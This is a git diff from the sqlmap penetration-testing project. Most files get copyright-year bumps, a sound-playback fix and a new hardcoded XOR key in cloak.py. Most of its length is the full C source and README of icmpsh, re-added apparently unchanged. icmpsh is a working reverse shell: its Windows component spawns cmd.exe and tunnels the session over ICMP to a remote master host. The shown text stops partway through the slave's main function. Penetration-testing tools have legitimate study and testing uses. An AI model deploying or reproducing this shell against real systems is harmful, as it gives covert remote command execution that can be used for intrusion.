+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/beep/beep.py b/extra/beep/beep.py
index ad932834021..9e1acd04b0d 100644
--- a/extra/beep/beep.py
+++ b/extra/beep/beep.py
@@ -3,7 +3,7 @@
"""
beep.py - Make a beep sound
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -18,7 +18,7 @@ def beep():
if sys.platform.startswith("win"):
_win_wav_play(BEEP_WAV_FILENAME)
elif sys.platform.startswith("darwin"):
- _mac_beep()
+ _mac_wav_play(BEEP_WAV_FILENAME)
elif sys.platform.startswith("cygwin"):
_cygwin_beep(BEEP_WAV_FILENAME)
elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")):
@@ -40,9 +40,8 @@ def _speaker_beep():
def _cygwin_beep(filename):
os.system("play-sound-file '%s' 2>/dev/null" % filename)
-def _mac_beep():
- import Carbon.Snd
- Carbon.Snd.SysBeep(1)
+def _mac_wav_play(filename):
+ os.system("afplay '%s' 2>/dev/null" % BEEP_WAV_FILENAME)
def _win_wav_play(filename):
import winsound
@@ -50,7 +49,7 @@ def _win_wav_play(filename):
winsound.PlaySound(filename, winsound.SND_FILENAME)
def _linux_wav_play(filename):
- for _ in ("aplay", "paplay", "play"):
+ for _ in ("paplay", "aplay", "mpv", "mplayer", "play"):
if not os.system("%s '%s' 2>/dev/null" % (_, filename)):
return
diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py
index 8476fab2f94..bcac841631b 100644
--- a/extra/cloak/__init__.py
+++ b/extra/cloak/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py
index b9f8f8f0f6f..641d1c51635 100644
--- a/extra/cloak/cloak.py
+++ b/extra/cloak/cloak.py
@@ -3,7 +3,7 @@
"""
cloak.py - Simple file encryption/compression utility
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -21,7 +21,7 @@
xrange = range
ord = lambda _: _
-KEY = b"E6wRbVhD0IBeCiGJ"
+KEY = b"wr36EPIvaR7ZDfb4"
def xor(message, key):
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py
index 8476fab2f94..bcac841631b 100644
--- a/extra/dbgtool/__init__.py
+++ b/extra/dbgtool/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py
index c8e0c97339c..7cdb11b70c1 100644
--- a/extra/dbgtool/dbgtool.py
+++ b/extra/dbgtool/dbgtool.py
@@ -3,7 +3,7 @@
"""
dbgtool.py - Portable executable to ASCII debug script converter
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/icmpsh/README.txt b/extra/icmpsh/README.txt
index 631f9ee377f..d09e83b8552 100644
--- a/extra/icmpsh/README.txt
+++ b/extra/icmpsh/README.txt
@@ -1,45 +1,45 @@
-icmpsh - simple reverse ICMP shell
-
-icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl.
-
-
---- Running the Master ---
-
-The master is straight forward to use. There are no extra libraries required for the C version.
-The Perl master however has the following dependencies:
-
- * IO::Socket
- * NetPacket::IP
- * NetPacket::ICMP
-
-
-When running the master, don't forget to disable ICMP replies by the OS. For example:
-
- sysctl -w net.ipv4.icmp_echo_ignore_all=1
-
-If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive
-commands send from the master.
-
-
---- Running the Slave ---
-
-The slave comes with a few command line options as outlined below:
-
-
--t host host ip address to send ping requests to. This option is mandatory!
-
--r send a single test icmp request containing the string "Test1234" and then quit.
- This is for testing the connection.
-
--d milliseconds delay between requests in milliseconds
-
--o milliseconds timeout of responses in milliseconds. If a response has not received in time,
- the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit.
- The counter is set back to 0 if a response was received.
-
--b num limit of blanks (unanswered icmp requests before quitting
-
--s bytes maximal data buffer size in bytes
-
-
-In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer.
+icmpsh - simple reverse ICMP shell
+
+icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl.
+
+
+--- Running the Master ---
+
+The master is straight forward to use. There are no extra libraries required for the C version.
+The Perl master however has the following dependencies:
+
+ * IO::Socket
+ * NetPacket::IP
+ * NetPacket::ICMP
+
+
+When running the master, don't forget to disable ICMP replies by the OS. For example:
+
+ sysctl -w net.ipv4.icmp_echo_ignore_all=1
+
+If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive
+commands send from the master.
+
+
+--- Running the Slave ---
+
+The slave comes with a few command line options as outlined below:
+
+
+-t host host ip address to send ping requests to. This option is mandatory!
+
+-r send a single test icmp request containing the string "Test1234" and then quit.
+ This is for testing the connection.
+
+-d milliseconds delay between requests in milliseconds
+
+-o milliseconds timeout of responses in milliseconds. If a response has not received in time,
+ the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit.
+ The counter is set back to 0 if a response was received.
+
+-b num limit of blanks (unanswered icmp requests before quitting
+
+-s bytes maximal data buffer size in bytes
+
+
+In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer.
diff --git a/extra/icmpsh/icmpsh-m.c b/extra/icmpsh/icmpsh-m.c
index 32c3edb7429..95deb603bc0 100644
--- a/extra/icmpsh/icmpsh-m.c
+++ b/extra/icmpsh/icmpsh-m.c
@@ -1,134 +1,134 @@
-/*
- * icmpsh - simple icmp command shell
- * Copyright (c) 2010, Nico Leidecker
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program. If not, see .
- */
-
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-
-#define IN_BUF_SIZE 1024
-#define OUT_BUF_SIZE 64
-
-// calculate checksum
-unsigned short checksum(unsigned short *ptr, int nbytes)
-{
- unsigned long sum;
- unsigned short oddbyte, rs;
-
- sum = 0;
- while(nbytes > 1) {
- sum += *ptr++;
- nbytes -= 2;
- }
-
- if(nbytes == 1) {
- oddbyte = 0;
- *((unsigned char *) &oddbyte) = *(u_char *)ptr;
- sum += oddbyte;
- }
-
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- rs = ~sum;
- return rs;
-}
-
-int main(int argc, char **argv)
-{
- int sockfd;
- int flags;
- char in_buf[IN_BUF_SIZE];
- char out_buf[OUT_BUF_SIZE];
- unsigned int out_size;
- int nbytes;
- struct iphdr *ip;
- struct icmphdr *icmp;
- char *data;
- struct sockaddr_in addr;
-
-
- printf("icmpsh - master\n");
-
- // create raw ICMP socket
- sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
- if (sockfd == -1) {
- perror("socket");
- return -1;
- }
-
- // set stdin to non-blocking
- flags = fcntl(0, F_GETFL, 0);
- flags |= O_NONBLOCK;
- fcntl(0, F_SETFL, flags);
-
- printf("running...\n");
- while(1) {
-
- // read data from socket
- memset(in_buf, 0x00, IN_BUF_SIZE);
- nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
- if (nbytes > 0) {
- // get ip and icmp header and data part
- ip = (struct iphdr *) in_buf;
- if (nbytes > sizeof(struct iphdr)) {
- nbytes -= sizeof(struct iphdr);
- icmp = (struct icmphdr *) (ip + 1);
- if (nbytes > sizeof(struct icmphdr)) {
- nbytes -= sizeof(struct icmphdr);
- data = (char *) (icmp + 1);
- data[nbytes] = '\0';
- printf("%s", data);
- fflush(stdout);
- }
-
- // reuse headers
- icmp->type = 0;
- addr.sin_family = AF_INET;
- addr.sin_addr.s_addr = ip->saddr;
-
- // read data from stdin
- nbytes = read(0, out_buf, OUT_BUF_SIZE);
- if (nbytes > -1) {
- memcpy((char *) (icmp + 1), out_buf, nbytes);
- out_size = nbytes;
- } else {
- out_size = 0;
- }
-
- icmp->checksum = 0x00;
- icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
-
- // send reply
- nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
- if (nbytes == -1) {
- perror("sendto");
- return -1;
- }
- }
- }
- }
-
- return 0;
-}
-
+/*
+ * icmpsh - simple icmp command shell
+ * Copyright (c) 2010, Nico Leidecker
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see .
+ */
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define IN_BUF_SIZE 1024
+#define OUT_BUF_SIZE 64
+
+// calculate checksum
+unsigned short checksum(unsigned short *ptr, int nbytes)
+{
+ unsigned long sum;
+ unsigned short oddbyte, rs;
+
+ sum = 0;
+ while(nbytes > 1) {
+ sum += *ptr++;
+ nbytes -= 2;
+ }
+
+ if(nbytes == 1) {
+ oddbyte = 0;
+ *((unsigned char *) &oddbyte) = *(u_char *)ptr;
+ sum += oddbyte;
+ }
+
+ sum = (sum >> 16) + (sum & 0xffff);
+ sum += (sum >> 16);
+ rs = ~sum;
+ return rs;
+}
+
+int main(int argc, char **argv)
+{
+ int sockfd;
+ int flags;
+ char in_buf[IN_BUF_SIZE];
+ char out_buf[OUT_BUF_SIZE];
+ unsigned int out_size;
+ int nbytes;
+ struct iphdr *ip;
+ struct icmphdr *icmp;
+ char *data;
+ struct sockaddr_in addr;
+
+
+ printf("icmpsh - master\n");
+
+ // create raw ICMP socket
+ sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
+ if (sockfd == -1) {
+ perror("socket");
+ return -1;
+ }
+
+ // set stdin to non-blocking
+ flags = fcntl(0, F_GETFL, 0);
+ flags |= O_NONBLOCK;
+ fcntl(0, F_SETFL, flags);
+
+ printf("running...\n");
+ while(1) {
+
+ // read data from socket
+ memset(in_buf, 0x00, IN_BUF_SIZE);
+ nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
+ if (nbytes > 0) {
+ // get ip and icmp header and data part
+ ip = (struct iphdr *) in_buf;
+ if (nbytes > sizeof(struct iphdr)) {
+ nbytes -= sizeof(struct iphdr);
+ icmp = (struct icmphdr *) (ip + 1);
+ if (nbytes > sizeof(struct icmphdr)) {
+ nbytes -= sizeof(struct icmphdr);
+ data = (char *) (icmp + 1);
+ data[nbytes] = '\0';
+ printf("%s", data);
+ fflush(stdout);
+ }
+
+ // reuse headers
+ icmp->type = 0;
+ addr.sin_family = AF_INET;
+ addr.sin_addr.s_addr = ip->saddr;
+
+ // read data from stdin
+ nbytes = read(0, out_buf, OUT_BUF_SIZE);
+ if (nbytes > -1) {
+ memcpy((char *) (icmp + 1), out_buf, nbytes);
+ out_size = nbytes;
+ } else {
+ out_size = 0;
+ }
+
+ icmp->checksum = 0x00;
+ icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
+
+ // send reply
+ nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
+ if (nbytes == -1) {
+ perror("sendto");
+ return -1;
+ }
+ }
+ }
+ }
+
+ return 0;
+}
+
diff --git a/extra/icmpsh/icmpsh-s.c b/extra/icmpsh/icmpsh-s.c
index af30618f9b5..c108509774d 100644
--- a/extra/icmpsh/icmpsh-s.c
+++ b/extra/icmpsh/icmpsh-s.c
@@ -1,344 +1,344 @@
-/*
- * icmpsh - simple icmp command shell
- * Copyright (c) 2010, Nico Leidecker
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program. If not, see .
- */
-
-
-#include
-#include
-#include
-#include
-#include
-#include
-
-#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
-
-#define STATUS_OK 0
-#define STATUS_SINGLE 1
-#define STATUS_PROCESS_NOT_CREATED 2
-
-#define TRANSFER_SUCCESS 1
-#define TRANSFER_FAILURE 0
-
-#define DEFAULT_TIMEOUT 3000
-#define DEFAULT_DELAY 200
-#define DEFAULT_MAX_BLANKS 10
-#define DEFAULT_MAX_DATA_SIZE 64
-
-FARPROC icmp_create, icmp_send, to_ip;
-
-int verbose = 0;
-
-int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
-{
- SECURITY_ATTRIBUTES sattr;
- STARTUPINFOA si;
- HANDLE in_read, out_write;
-
- memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
- memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
-
- // create communication pipes
- memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
- sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
- sattr.bInheritHandle = TRUE;
- sattr.lpSecurityDescriptor = NULL;
-
- if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
- if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
-
- if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
- if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
-
- // spawn process
- memset(&si, 0x00, sizeof(STARTUPINFO));
- si.cb = sizeof(STARTUPINFO);
- si.hStdError = out_write;
- si.hStdOutput = out_write;
- si.hStdInput = in_read;
- si.dwFlags |= STARTF_USESTDHANDLES;
-
- if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
-
- CloseHandle(out_write);
- CloseHandle(in_read);
-
- return STATUS_OK;
-}
-
-void usage(char *path)
-{
- printf("%s [options] -t target\n", path);
- printf("options:\n");
- printf(" -t host host ip address to send ping requests to\n");
- printf(" -r send a single test icmp request and then quit\n");
- printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
- printf(" -o milliseconds timeout in milliseconds\n");
- printf(" -h this screen\n");
- printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
- printf(" before quitting\n");
- printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
- printf("In order to improve the speed, lower the delay (-d) between requests or\n");
- printf("increase the size (-s) of the data buffer\n");
-}
-
-void create_icmp_channel(HANDLE *icmp_chan)
-{
- // create icmp file
- *icmp_chan = (HANDLE) icmp_create();
-}
-
-int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
-{
- int rs;
- char *temp_in_buf;
- int nbytes;
-
- PICMP_ECHO_REPLY echo_reply;
-
- temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
- if (!temp_in_buf) {
- return TRANSFER_FAILURE;
- }
-
- // send data to remote host
- rs = icmp_send(
- icmp_chan,
- target,
- out_buf,
- out_buf_size,
- NULL,
- temp_in_buf,
- max_in_data_size + ICMP_HEADERS_SIZE,
- timeout);
-
- // check received data
- if (rs > 0) {
- echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
- if (echo_reply->DataSize > max_in_data_size) {
- nbytes = max_in_data_size;
- } else {
- nbytes = echo_reply->DataSize;
- }
- memcpy(in_buf, echo_reply->Data, nbytes);
- *in_buf_size = nbytes;
-
- free(temp_in_buf);
- return TRANSFER_SUCCESS;
- }
-
- free(temp_in_buf);
-
- return TRANSFER_FAILURE;
-}
-
-int load_deps()
-{
- HMODULE lib;
-
- lib = LoadLibraryA("ws2_32.dll");
- if (lib != NULL) {
- to_ip = GetProcAddress(lib, "inet_addr");
- if (!to_ip) {
- return 0;
- }
- }
-
- lib = LoadLibraryA("iphlpapi.dll");
- if (lib != NULL) {
- icmp_create = GetProcAddress(lib, "IcmpCreateFile");
- icmp_send = GetProcAddress(lib, "IcmpSendEcho");
- if (icmp_create && icmp_send) {
- return 1;
- }
- }
-
- lib = LoadLibraryA("ICMP.DLL");
- if (lib != NULL) {
- icmp_create = GetProcAddress(lib, "IcmpCreateFile");
- icmp_send = GetProcAddress(lib, "IcmpSendEcho");
- if (icmp_create && icmp_send) {
- return 1;
- }
- }
-
- printf("failed to load functions (%u)", GetLastError());
-
- return 0;
-}
-int main(int argc, char **argv)
-{
- int opt;
- char *target;
- unsigned int delay, timeout;
- unsigned int ip_addr;
- HANDLE pipe_read, pipe_write;
- HANDLE icmp_chan;
- unsigned char *in_buf, *out_buf;
- unsigned int in_buf_size, out_buf_size;
- DWORD rs;
- int blanks, max_blanks;
- PROCESS_INFORMATION pi;
- int status;
- unsigned int max_data_size;
-
- // set defaults
- target = 0;
- timeout = DEFAULT_TIMEOUT;
- delay = DEFAULT_DELAY;
- max_blanks = DEFAULT_MAX_BLANKS;
- max_data_size = DEFAULT_MAX_DATA_SIZE;
-
- status = STATUS_OK;
- if (!load_deps()) {
- printf("failed to load ICMP library\n");
- return -1;
- }
-
- // parse command line options
- for (opt = 1; opt < argc; opt++) {
- if (argv[opt][0] == '-') {
- switch(argv[opt][1]) {
- case 'h':
- usage(*argv);
- return 0;
- case 't':
- if (opt + 1 < argc) {
- target = argv[opt + 1];
- }
- break;
- case 'd':
- if (opt + 1 < argc) {
- delay = atol(argv[opt + 1]);
- }
- break;
- case 'o':
- if (opt + 1 < argc) {
- timeout = atol(argv[opt + 1]);
- }
- break;
- case 'r':
- status = STATUS_SINGLE;
- break;
- case 'b':
- if (opt + 1 < argc) {
- max_blanks = atol(argv[opt + 1]);
- }
- break;
- case 's':
- if (opt + 1 < argc) {
- max_data_size = atol(argv[opt + 1]);
- }
- break;
- default:
- printf("unrecognized option -%c\n", argv[1][0]);
- usage(*argv);
- return -1;
- }
- }
- }
-
- if (!target) {
- printf("you need to specify a host with -t. Try -h for more options\n");
- return -1;
- }
- ip_addr = to_ip(target);
-
- // don't spawn a shell if we're only sending a single test request
- if (status != STATUS_SINGLE) {
- status = spawn_shell(&pi, &pipe_read, &pipe_write);
- }
-
- // create icmp channel
- create_icmp_channel(&icmp_chan);
- if (icmp_chan == INVALID_HANDLE_VALUE) {
- printf("unable to create ICMP file: %u\n", GetLastError());
- return -1;
- }
-
- // allocate transfer buffers
- in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
- out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
- if (!in_buf || !out_buf) {
- printf("failed to allocate memory for transfer buffers\n");
- return -1;
- }
- memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
- memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
-
- // sending/receiving loop
- blanks = 0;
- do {
-
- switch(status) {
- case STATUS_SINGLE:
- // reply with a static string
- out_buf_size = sprintf(out_buf, "Test1234\n");
- break;
- case STATUS_PROCESS_NOT_CREATED:
- // reply with error message
- out_buf_size = sprintf(out_buf, "Process was not created\n");
- break;
- default:
- // read data from process via pipe
- out_buf_size = 0;
- if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
- if (out_buf_size > 0) {
- out_buf_size = 0;
- rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
- if (!rs && GetLastError() != ERROR_IO_PENDING) {
- out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
- }
- }
- } else {
- out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
- }
- break;
- }
-
- // send request/receive response
- if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
- if (status == STATUS_OK) {
- // write data from response back into pipe
- WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
- }
- blanks = 0;
- } else {
- // no reply received or error occured
- blanks++;
- }
-
- // wait between requests
- Sleep(delay);
-
- } while (status == STATUS_OK && blanks < max_blanks);
-
- if (status == STATUS_OK) {
- TerminateProcess(pi.hProcess, 0);
- }
-
- return 0;
-}
-
+/*
+ * icmpsh - simple icmp command shell
+ * Copyright (c) 2010, Nico Leidecker
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see .
+ */
+
+
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
+
+#define STATUS_OK 0
+#define STATUS_SINGLE 1
+#define STATUS_PROCESS_NOT_CREATED 2
+
+#define TRANSFER_SUCCESS 1
+#define TRANSFER_FAILURE 0
+
+#define DEFAULT_TIMEOUT 3000
+#define DEFAULT_DELAY 200
+#define DEFAULT_MAX_BLANKS 10
+#define DEFAULT_MAX_DATA_SIZE 64
+
+FARPROC icmp_create, icmp_send, to_ip;
+
+int verbose = 0;
+
+int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
+{
+ SECURITY_ATTRIBUTES sattr;
+ STARTUPINFOA si;
+ HANDLE in_read, out_write;
+
+ memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
+ memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
+
+ // create communication pipes
+ memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
+ sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
+ sattr.bInheritHandle = TRUE;
+ sattr.lpSecurityDescriptor = NULL;
+
+ if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+ if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+
+ if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+ if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+
+ // spawn process
+ memset(&si, 0x00, sizeof(STARTUPINFO));
+ si.cb = sizeof(STARTUPINFO);
+ si.hStdError = out_write;
+ si.hStdOutput = out_write;
+ si.hStdInput = in_read;
+ si.dwFlags |= STARTF_USESTDHANDLES;
+
+ if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+
+ CloseHandle(out_write);
+ CloseHandle(in_read);
+
+ return STATUS_OK;
+}
+
+void usage(char *path)
+{
+ printf("%s [options] -t target\n", path);
+ printf("options:\n");
+ printf(" -t host host ip address to send ping requests to\n");
+ printf(" -r send a single test icmp request and then quit\n");
+ printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
+ printf(" -o milliseconds timeout in milliseconds\n");
+ printf(" -h this screen\n");
+ printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
+ printf(" before quitting\n");
+ printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
+ printf("In order to improve the speed, lower the delay (-d) between requests or\n");
+ printf("increase the size (-s) of the data buffer\n");
+}
+
+void create_icmp_channel(HANDLE *icmp_chan)
+{
+ // create icmp file
+ *icmp_chan = (HANDLE) icmp_create();
+}
+
+int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
+{
+ int rs;
+ char *temp_in_buf;
+ int nbytes;
+
+ PICMP_ECHO_REPLY echo_reply;
+
+ temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
+ if (!temp_in_buf) {
+ return TRANSFER_FAILURE;
+ }
+
+ // send data to remote host
+ rs = icmp_send(
+ icmp_chan,
+ target,
+ out_buf,
+ out_buf_size,
+ NULL,
+ temp_in_buf,
+ max_in_data_size + ICMP_HEADERS_SIZE,
+ timeout);
+
+ // check received data
+ if (rs > 0) {
+ echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
+ if (echo_reply->DataSize > max_in_data_size) {
+ nbytes = max_in_data_size;
+ } else {
+ nbytes = echo_reply->DataSize;
+ }
+ memcpy(in_buf, echo_reply->Data, nbytes);
+ *in_buf_size = nbytes;
+
+ free(temp_in_buf);
+ return TRANSFER_SUCCESS;
+ }
+
+ free(temp_in_buf);
+
+ return TRANSFER_FAILURE;
+}
+
+int load_deps()
+{
+ HMODULE lib;
+
+ lib = LoadLibraryA("ws2_32.dll");
+ if (lib != NULL) {
+ to_ip = GetProcAddress(lib, "inet_addr");
+ if (!to_ip) {
+ return 0;
+ }
+ }
+
+ lib = LoadLibraryA("iphlpapi.dll");
+ if (lib != NULL) {
+ icmp_create = GetProcAddress(lib, "IcmpCreateFile");
+ icmp_send = GetProcAddress(lib, "IcmpSendEcho");
+ if (icmp_create && icmp_send) {
+ return 1;
+ }
+ }
+
+ lib = LoadLibraryA("ICMP.DLL");
+ if (lib != NULL) {
+ icmp_create = GetProcAddress(lib, "IcmpCreateFile");
+ icmp_send = GetProcAddress(lib, "IcmpSendEcho");
+ if (icmp_create && icmp_send) {
+ return 1;
+ }
+ }
+
+ printf("failed to load functions (%u)", GetLastError());
+
+ return 0;
+}
+int main(int argc, char **argv)
+{
+ int opt;
+ char *target;
+ unsigned int delay, timeout;
+ unsigned int ip_addr;
+ HANDLE pipe_read, pipe_write;
+ HANDLE icmp_chan;
+ unsigned char *in_buf, *out_buf;
+ unsigned int in_buf_size, out_buf_size;
+ DWORD rs;
+ int blanks, max_blanks;
+ PROCESS_INFORMATION pi;
+ int status;
+ unsigned int max_data_size;
+
+ // set defaults
+ target = 0;
+ timeout = DEFAULT_TIMEOUT;
+ delay = DEFAULT_DELAY;
+ max_blanks = DEFAULT_MAX_BLANKS;
+ max_data_size = DEFAULT_MAX_DATA_SIZE;
+
+ status = STATUS_OK;
+ if (!load_deps()) {
+ printf("failed to load ICMP library\n");
+ return -1;
+ }
+
+ // parse command line options
+ for (opt = 1; opt < argc; opt++) {
+ if (argv[opt][0] == '-') {
+ switch(argv[opt][1]) {
+ case 'h':
+ usage(*argv);
+ return 0;
+ case 't':
+ if (opt + 1 < argc) {
+ target = argv[opt + 1];
+ }
+ break;
+ case 'd':
+ if (opt + 1 < argc) {
+ delay = atol(argv[opt + 1]);
+ }
+ break;
+ case 'o':
+ if (opt + 1 < argc) {
+ timeout = atol(argv[opt + 1]);
+ }
+ break;
+ case 'r':
+ status = STATUS_SINGLE;
+ break;
+ case 'b':
+ if (opt + 1 < argc) {
+ max_blanks = atol(argv[opt + 1]);
+ }
+ break;
+ case 's':
+ if (opt + 1 < argc) {
+ max_data_size = atol(argv[opt + 1]);
+ }
+ break;
+ default:
+ printf("unrecognized option -%c\n", argv[1][0]);
+ usage(*argv);
+ return -1;
+ }
+ }
+ }
+
+ if (!target) {
+ printf("you need to specify a host with -t. Try -h for more options\n");
+ return -1;
+ }
+ ip_addr = to_ip(target);
+
+ // don't spawn a shell if we're only sending a single test request
+ if (status != STATUS_SINGLE) {
+ status = spawn_shell(&pi, &pipe_read, &pipe_write);
+ }
+
+ // create icmp channel
+ create_icmp_channel(&icmp_chan);
+ if (icmp_chan == INVALID_HANDLE_VALUE) {
+ printf("unable to create ICMP file: %u\n", GetLastError());
+ return -1;
+ }
+
+ // allocate transfer buffers
